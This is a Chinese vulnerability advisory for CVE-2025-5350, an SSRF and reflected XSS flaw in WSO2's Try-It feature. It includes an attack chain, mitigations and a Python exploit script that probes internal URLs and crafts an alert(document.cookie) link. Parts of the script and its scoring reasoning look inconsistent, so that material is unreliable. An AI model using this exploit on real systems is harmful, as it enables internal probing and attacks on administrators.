IPBUF安全漏洞报告
English
CVE-2025-5350 CVSS 5.9 中危

CVE-2025-5350 WSO2产品Try-It功能SSRF与反射型XSS漏洞

披露日期: 2025-10-24
来源: ed10eef1-636d-4fbe-9993-6890dfa878f8

漏洞信息

漏洞编号
CVE-2025-5350
漏洞类型
SSRF + 反射型XSS
CVSS评分
5.9 中危
攻击向量
邻接 (AV:A)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WSO2多个产品

相关标签

SSRF反射型XSSWSO2CVE-2025-5350服务器端请求伪造跨站脚本Try-It功能权限提升中危漏洞

漏洞概述

CVE-2025-5350是WSO2多个产品中存在的服务器端请求伪造(SSRF)和反射型跨站脚本(XSS)漏洞。该漏洞存在于已废弃的Try-It功能中,该功能仅供管理员用户访问。问题在于该功能接受用户提供的URL但未进行适当的验证和过滤,导致攻击者可以利用此漏洞强制服务器发起任意请求,即SSRF攻击。同时,获取的响应内容会直接反射到HTTP响应中,从而在管理员浏览器上下文中执行任意JavaScript代码,即反射型XSS攻击。通过诱使管理员访问精心构造的链接,攻击者可以窃取敏感信息或进行UI操纵。虽然会话Cookie设置了HttpOnly标志保护,但XSS漏洞仍构成重大安全风险。此外,SSRF漏洞允许特权用户查询内部服务,可能导致内部网络枚举。

技术细节

漏洞原理分析:1) SSRF漏洞:Try-It功能在处理用户提交的URL时缺乏输入验证,攻击者可以指定任意URL(包括内部网络地址如localhost、127.0.0.1或内网IP段),服务器会代表攻击者发起请求。这允许攻击者探测内部服务、读取本地文件或访问受保护的管理接口。2) 反射型XSS漏洞:服务器将用户提供的URL对应的响应内容直接回显到HTML中,未进行输出编码或安全过滤。攻击者可以构造包含恶意JavaScript代码的URL,当管理员访问时,脚本会在其浏览器上下文中执行。攻击者可利用此进行会话劫持(虽然HttpOnly保护了Cookie,但可能通过其他方式窃取敏感数据)、页面篡改或钓鱼攻击。3) 利用条件:攻击需要管理员身份访问Try-It功能,但用户交互要求为无需交互(UI:N),说明可以通过社工方式诱使管理员访问恶意链接。攻击向量为邻接网络(AV:A),表明攻击者需处于目标网络相邻位置或能通过中间人攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标WSO2产品并确认Try-It功能可访问
STEP 2
步骤2
攻击者构造包含恶意URL或XSS payload的请求链接
STEP 3
步骤3
通过社工手段诱使管理员访问恶意链接
STEP 4
步骤4
服务器执行SSRF请求,将内部服务响应反射回攻击者
STEP 5
步骤5
XSS payload在管理员浏览器中执行,可窃取敏感信息或操纵界面

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-5350 PoC - SSRF and Reflected XSS in WSO2 Try-It Feature import requests import argparse def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in WSO2 Try-It feature Args: target_url: Target WSO2 admin console URL internal_target: Internal resource to target (e.g., http://localhost:8080) """ exploit_url = f"{target_url}/carbon/admin-login/tryit.jsp" payload = { 'url': internal_target, 'method': 'GET' } try: response = requests.post(exploit_url, data=payload, timeout=10) print(f"[*] Request sent to: {internal_target}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") return response.text except Exception as e: print(f"[!] Error: {e}") return None def exploit_reflected_xss(target_url, xss_payload): """ Exploit Reflected XSS vulnerability in WSO2 Try-It feature Args: target_url: Target WSO2 admin console URL xss_payload: Malicious JavaScript payload """ encoded_payload = requests.utils.quote(xss_payload) exploit_url = f"{target_url}/carbon/admin-login/tryit.jsp?url=javascript:alert(document.cookie)&content={encoded_payload}" print(f"[*] Crafted XSS URL: {exploit_url}") print(f"[*] Induce admin to visit this URL to execute: {xss_payload}") return exploit_url if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-5350 Exploitation') parser.add_argument('--url', required=True, help='Target WSO2 URL') parser.add_argument('--mode', choices=['ssrf', 'xss'], required=True) parser.add_argument('--target', help='Internal target for SSRF') parser.add_argument('--payload', help='XSS payload') args = parser.parse_args() if args.mode == 'ssrf' and args.target: exploit_ssrf(args.url, args.target) elif args.mode == 'xss' and args.payload: exploit_reflected_xss(args.url, args.payload)

影响范围

WSO2 Carbon Platform (Try-It功能所有版本)
WSO2 API Manager
WSO2 Identity Server
WSO2 Enterprise Integrator
其他包含Try-It功能的WSO2产品

防御指南

临时缓解措施
如果无法立即应用官方补丁,可采取以下临时缓解措施:1) 禁用Try-It功能(如果可能);2) 限制管理员界面的网络访问,仅允许受信任的IP地址访问;3) 在WAF或反向代理层面添加URL验证规则,阻止对内网地址的请求;4) 增强管理员安全意识培训,防止社工攻击;5) 监控管理员界面的异常请求模式;6) 考虑使用网络隔离技术限制服务器对内网的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表